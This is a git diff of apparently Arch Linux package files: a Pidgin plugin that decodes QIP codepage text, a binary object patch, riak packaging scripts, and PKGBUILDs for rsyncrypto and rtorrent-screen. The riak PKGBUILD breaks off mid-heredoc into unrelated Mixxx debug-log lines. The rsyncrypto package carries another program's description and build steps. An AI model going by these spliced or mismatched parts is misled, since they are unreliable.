(remaining>=6) && (str[1]=='#') && (str[2]=='x') && (str[5]==';')) { + // hexa code &#xXX; + hex_digit = HexValue(str[3]); + if (hex_digit<0) continue; + char_code = hex_digit << 4; + hex_digit = HexValue(str[4]); + if (hex_digit<0) continue; + char_code += hex_digit; + encoded_size = 6; + } else if ((c==(char)0xC2) && (remaining>=2)) { + // code 0xC2,0xXX + char_code = str[1] & 0xFF; + if (char_code<0x80 || char_code>0xBF) continue; + encoded_size = 2; + } else if ((c==(char)0xD0) && (remaining>=2)) { + // code 0xD0,0xXX + char_code = str[1] & 0xFF; + if (char_code == 0x81) { + char_code = 0xA8; + } else { + if (char_code<0x90 || char_code>0xBF) continue; + char_code += 0x30; + } + encoded_size = 2; + } else if ((c==(char)0xD1) && (remaining>=2)) { + // code 0xD1,0xXX + char_code = str[1] & 0xFF; + if (char_code == 0x91) { + char_code = 0xB8; + } else { + if (char_code<0x80 || char_code>0x8F) continue; + char_code += 0x70; + } + encoded_size = 2; + } else { + continue; + } + + // convert native character code to unicode character + if (char_code>=0x80) { + char_code = table[char_code-0x80]; + } + + // now we must replace the bad character code with a right one + decoded_size = UTF8Char(NULL, char_code); + + // check if there's enough space to replace characters + if ((decoded_size - encoded_size) > (length - (position + remaining))) { + // we must realloc the message buffer; + // compute minimal new buffer size (plus zero term. char) + new_length = position + remaining + decoded_size - encoded_size + 1; + // ceil round to multiplier of 256 + new_length = ((new_length + 255) / 256) * 256; + // realloc + str = malloc(new_length); + if (!str) return TRUE; + // correct size to that without zero term. char + new_length--; + // copy message begin + memcpy( + str, + *buffer, + position + ); + // copy message end + memcpy( + &(str[position+decoded_size]), + &((*buffer)[position+encoded_size]), + remaining-encoded_size + ); + // free old buffer + free(*buffer); + *buffer = str; + str += position; + // + length = new_length; + remaining += (decoded_size-encoded_size); + encoded_size = decoded_size; + // zero the added chars + memset( + &((*buffer)[position+remaining]), + 0, + length-(position+remaining)+1 + ); + } else if (decoded_size!=encoded_size) { + // shift message + memmove( + &(str[decoded_size]), + &(str[encoded_size]), + remaining-encoded_size + ); + } + + // correct the character + UTF8Char(str, char_code); + + // zero the remaining characters + if (encoded_size>decoded_size) { + memset( + &(str[remaining-(encoded_size-decoded_size)]), + 0, + encoded_size-decoded_size + ); + } + + // shift + position += (decoded_size-1); + str += (decoded_size-1); + remaining -= (encoded_size-1); + + } + return FALSE; + +} + +unsigned int str2intdef(const char *str, unsigned int def) { + unsigned int num; + if (!str || sscanf(str,"%d",&num)!=1) { + return def; + } + return num; +} + +static gboolean plugin_load(PurplePlugin *plugin) { + + const char *uin; + xmlnode *xml,*node; + unsigned int codepage; + gboolean enabled; + gboolean default_enabled; + unsigned int default_codepage; + + qip_codepages = NULL; + default_enabled = TRUE; + default_codepage = 0; + + // load codepage configuration + xml = purple_util_read_xml_from_file("qips.xml","qips.xml"); + if (xml) { + node = xmlnode_get_child(xml,"default"); + if (node) { + // default setting for all UINs + default_enabled = str2intdef(xmlnode_get_attrib(node,"enabled"),default_enabled); + default_codepage = str2intdef(xmlnode_get_attrib(node,"codepage"),default_codepage); + } + } + + // get default codepage from system + if (default_codepageCODEPAGE_MAX) { + // try to use environment variable 'QIPACP' containing CP number + default_codepage = str2intdef(getenv("QIPACP"),0); + if (default_codepageCODEPAGE_MAX) { + // now, try to use system ansi code page + default_codepage = GetACP(); + if (default_codepageCODEPAGE_MAX) { + default_codepage = 0; + default_enabled = FALSE; + } + } + } + + if (xml) { + // UIN based codepage setting + for (node = xmlnode_get_child(xml,"qip"); node; node = xmlnode_get_next_twin(node)) { + uin = xmlnode_get_attrib(node,"uin"); + if (!uin) continue; + if (!qip_codepages) qip_codepages = g_hash_table_new(g_str_hash,g_str_equal); + enabled = str2intdef(xmlnode_get_attrib(node,"enabled"),default_enabled); + codepage = str2intdef(xmlnode_get_attrib(node,"codepage"),default_codepage); + // + if (!enabled || codepageCODEPAGE_MAX) codepage = 0; + // + g_hash_table_insert(qip_codepages,g_strdup(uin),CODEPAGE_TABLE(codepage)); + } + xmlnode_free(xml); + } + + // finally, assign the unicode table according to the code page + if (!default_enabled) default_codepage = 0; + encoding_table = CODEPAGE_TABLE(default_codepage); + + // + purple_signal_connect(purple_conversations_get_handle(), "receiving-im-msg", plugin, PURPLE_CALLBACK(receiving_im_msg_cb), NULL); + return TRUE; +} + +static gboolean dealloc_all(gpointer key, gpointer val, gpointer user_data) { + g_free(key); + return (TRUE); +} + +static gboolean plugin_unload(PurplePlugin *plugin) { + purple_signal_disconnect(purple_conversations_get_handle(), "receiving-im-msg", plugin, PURPLE_CALLBACK(receiving_im_msg_cb)); + // + if (qip_codepages) { + g_hash_table_foreach_remove(qip_codepages, dealloc_all, NULL); + g_hash_table_destroy(qip_codepages); + qip_codepages = NULL; + } + return TRUE; +} + +static PurplePluginInfo info = { + PURPLE_PLUGIN_MAGIC, + PURPLE_MAJOR_VERSION, + PURPLE_MINOR_VERSION, + PURPLE_PLUGIN_STANDARD, + NULL, + 0, + NULL, + PURPLE_PRIORITY_DEFAULT, + + "qip-decoder", + "QIP Decoder", + "1.3", + + "QIP Decoder Plugin", + "Displays diacritic letters from QIP IM correctly.", + "Viktor Michna (viktor.michna@sedaha.cz)", + "http://www.sedaha.cz/qip-decoder/", + + plugin_load, + plugin_unload, + NULL, + + NULL, + NULL, + NULL, + NULL, + NULL, + NULL, + NULL, + NULL +}; + +static void init_plugin(PurplePlugin *plugin) { + +} + +PURPLE_INIT_PLUGIN(qip, init_plugin, info); diff --git a/pidgin-qip-decoder/qip-decoder.o b/pidgin-qip-decoder/qip-decoder.o new file mode 100644 index 0000000000000000000000000000000000000000..2bfe7f5225f1adf9915b4dcf25fc7a37b82dea4a GIT binary patch literal 10048 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 literal 0 HcmV?d00001 diff --git a/riak/.PKGINFO b/riak/.PKGINFO new file mode 100644 index 0000000..2c1213e --- /dev/null +++ b/riak/.PKGINFO @@ -0,0 +1,19 @@ +# Generated by makepkg 3.3.3 +# using fakeroot version 1.14.4 +# Sat Mar 13 18:52:22 UTC 2010 +pkgname = riak +pkgver = 0.9.1-1 +pkgdesc = NOSQL database engine providing decentralized key-value store, flexible map/reduce engine and HTTP/JSON query interface +url = http://riak.basho.com/ +builddate = 1268506342 +packager = Thomas 'Harvie' Mudrunka +size = 27373568 +arch = i686 +license = Apache 2 +depend = erlang +makepkgopt = strip +makepkgopt = docs +makepkgopt = libtool +makepkgopt = emptydirs +makepkgopt = zipman +makepkgopt = purge diff --git a/riak/PKGBUILD b/riak/PKGBUILD new file mode 100644 index 0000000..ad052b2 --- /dev/null +++ b/riak/PKGBUILD @@ -0,0 +1,72 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=riak +pkgver=0.9.1 +pkgrel=1 +pkgdesc="NOSQL database engine providing decentralized key-value store, flexible map/reduce engine and HTTP/JSON query interface" +arch=(i686 x86_64) +license=('Apache 2') +url='http://riak.basho.com/' +makedepends=(erlang make gcc pacman) +pkgbigver=$( echo $pkgver | grep -o ^... ) #get x.x version from x.x.x version +backup=('etc/riak/app.config' 'etc/riak/vm.args') +install="${pkgname}.install" +source=("http://downloads.basho.com/riak/${pkgname}-${pkgbigver}/${pkgname}-${pkgver}.tar.gz" 'riak.rc') +md5sums=('1f78bb838ae6ded568486b0b56655613' + 'd44752424e6331518a854de08fab5156') +prefixpath="/opt/${pkgname}" +#prefixpath="/usr/lib/erlang" +#prefixpath="/usr/lib/erlang/lib/${pkgname}-${pkgver}" + +build() { + cd ${srcdir}/riak-${pkgver} || return 1 + msg Cleaning...; + make distclean + msg Building...; + LDFLAGS='' make rel || return 1 + + cd rel/riak || return 1 + #cd rel/overlay || return 1 + mkdir -p ${pkgdir}${prefixpath} + + msg Packing...; + cp -r ./* ${pkgdir}${prefixpath} || return 1 + + [ -d "${pkgdir}/usr/lib/erlang" ] && { + msg 'Removing files already shipped with erlang package...'; + pacman -Ql erlang | cut -d ' ' -f 2- | while read i; do + [ -d "$i" ] || { + rm -f ${pkgdir}/"$i"; + echo -ne "$i \r"; + } + done; echo; + } + + chmod -R 755 ${pkgdir}${prefixpath}/bin + + msg 'ArchLinux integration...'; + + mkdir -p ${pkgdir}/var/log + ln -s ${prefixpath}/log ${pkgdir}/var/log/riak + mkdir -p ${pkgdir}/etc/rc.d + ln -s ${prefixpath}/etc ${pkgdir}/etc/riak + mkdir -p ${pkgdir}/usr/share/doc/ + cp -r ${srcdir}/riak-0.9.1/doc/man ${pkgdir}/usr/share/ + cp -r ${srcdir}/riak-0.9.1/doc ${pkgdir}/usr/share/doc/riak + rm -r ${pkgdir}/usr/share/doc/riak/man + + mkdir -p ${pkgdir}/usr/bin/ + for i in riak riak-admin; do + cat > ${pkgdir}/usr/bin/$i <close() done +Debug: [Main]: delete soundmanager, 612 +Debug: [Main]: delete master, 612 +Debug: [Main]: in ~EngineMaster() +Debug: [Main]: delete channel1, 616 +Debug: [Main]: delete channel2, 617 +Debug: [Main]: delete buffer1, 618 +Debug: [Main]: delete buffer2, 621 +Debug: [Main]: delete midi, 627 +Debug: [Main]: MidiObject: Deleting MidiMapping... +Debug: [Main]: MidiObject: Deleting MIDI script engine... +Debug: [Main]: delete view, 1352 +Debug: [Main]: delete tracks, 1407 +Debug: [Main]: delete config, 1434 diff --git a/riak/riak.install b/riak/riak.install new file mode 100644 index 0000000..3ca66f2 --- /dev/null +++ b/riak/riak.install @@ -0,0 +1,38 @@ +iuser=riak; +igroup="$iuser"; +ihome="/opt/$iuser"; +#iid="78"; + +# arg 1: the new package version +post_install() { + if [ -z "`grep '^$igroup::' /etc/group`" ]; then + groupadd "$igroup" >& /dev/null + fi + if [ -z "`grep '^$iuser:' /etc/passwd`" ]; then + useradd -d "$ihome" -g "$igroup" -s /bin/sh "$iuser" + fi + + #chown -R "root:$igroup" "$ihome" + chown -R "$iuser:$igroup" "$ihome" + #chmod -R g+rw "$ihome" + chmod a+x "$ihome" +} + +# arg 1: the new package version +# arg 2: the old package version +post_upgrade() { + post_install $1 +} + +# arg 1: the old package version +pre_remove() { + /etc/rc.d/riak stop &>/dev/null; sleep 1; + pkill -u "$iuser" + pkill -9 -u "$iuser" + + chown -R "root:root" "$ihome" + + userdel "$iuser" &> /dev/null + groupdel "$igroup" &> /dev/null +} + diff --git a/riak/riak.rc b/riak/riak.rc new file mode 100755 index 0000000..47fab96 --- /dev/null +++ b/riak/riak.rc @@ -0,0 +1,38 @@ +#!/bin/bash +daemon_name=riak +riak_bin='/usr/bin/riak'; + +. /etc/rc.conf +. /etc/rc.d/functions + +case "$1" in + console|attach|'') + "$riak_bin" $@; + exit $?; + ;; +esac + +stat_busy "$1""ing $daemon_name daemon" + +err=$("$riak_bin" $@ 2>&1); ret=$?; +echo "$err" | egrep -i '(not responding|already running)' >/dev/null && ret=10; + +[ $ret -gt 0 ] && { + stat_fail; + echo "$err"; + exit 1; +} + +case "$1" in + start|restart) + add_daemon $daemon_name + ;; + stop) + rm_daemon $daemon_name + ;; +esac + +stat_done; +echo "$err"; +exit 0; + diff --git a/rsyncrypto/PKGBUILD b/rsyncrypto/PKGBUILD new file mode 100644 index 0000000..a18e4ab --- /dev/null +++ b/rsyncrypto/PKGBUILD @@ -0,0 +1,26 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=rsyncrypto +pkgver=1.12 +pkgrel=1 +pkgdesc="Small graphical tool (based on Qt) to resize, especially magnify bitmaps in high quality. (also called SmillaEnlarger)" +arch=('any') +license=('GPL') +url="http://rsyncrypto.lingnu.com/" +depends=() +source=("http://downloads.sourceforge.net/project/${pkgname}/${pkgname}/${pkgver}/${pkgname}-${pkgver}.tar.gz") +md5sums=('62367d5458ceaab58bbe73030880f538') + +build() { + exit + cd "${srcdir}/SmillaEnlarger_${pkgver}_source/SmillaEnlargerSrc/" || return 1 + qmake ImageEnlarger.pro || return 1 + make || return 1 + + mkdir -p ${pkgdir}/usr/bin/ + cp SmillaEnlarger ${pkgdir}/usr/bin/ + + chmod -R 755 ${pkgdir} +} diff --git a/rtorrent-screen/PKGBUILD b/rtorrent-screen/PKGBUILD new file mode 100644 index 0000000..b08577e --- /dev/null +++ b/rtorrent-screen/PKGBUILD @@ -0,0 +1,20 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=rtorrent-screen +pkgver=1.0 +pkgrel=1 +pkgdesc="Simple rTorrent manager (keeps your torrents in screen transparently + allows you to monitor it using text file and Web UI)" +arch=('any') +license=('GPL') +url="http://aur.archlinux.org/packages.php?ID=27100" +depends=('bash' 'rtorrent' 'screen') +source=('rtorrent-screen.bash') +md5sums=('d6858fa1acfe57cdee9e6ffe6c9a841c') + +build() { + mkdir -p ${pkgdir}/usr/bin + cp -f ${startdir}/rtorrent-screen.bash ${pkgdir}/usr/bin/rtorrent-screen + chmod -R 755 ${pkgdir}/ +} diff --git a/rtorrent-screen/rtorrent-screen.bash b/rtorrent-screen/rtorrent-screen.bash new file mode 100644 index 0000000..023b75d --- /dev/null +++ b/rtorrent-screen/rtorrent-screen.bash @@ -0,0 +1,69 @@ +#!/bin/bash +# rtorrent-screen 1.0 (Harvie 2oo9) +# - Simple rtorrent manager (keeps your torrents in screen transparently + allows you to monitor it using hardcopies) +# +# - Dependencies: bash, screen, rtorrent +# - Optionaly webserver with PHP (you will be allowed to monitor your torrents using web interface) +# - TODO: adding torrents using web interface... + +TARGET_DIRECTORY=~/downloads #warning: each user MUST have his own directory for downloading (on "single user" system u can use eg. /srv/http/downloads) +SCREEN_PID_FILE='rtorrent-screen.pid' 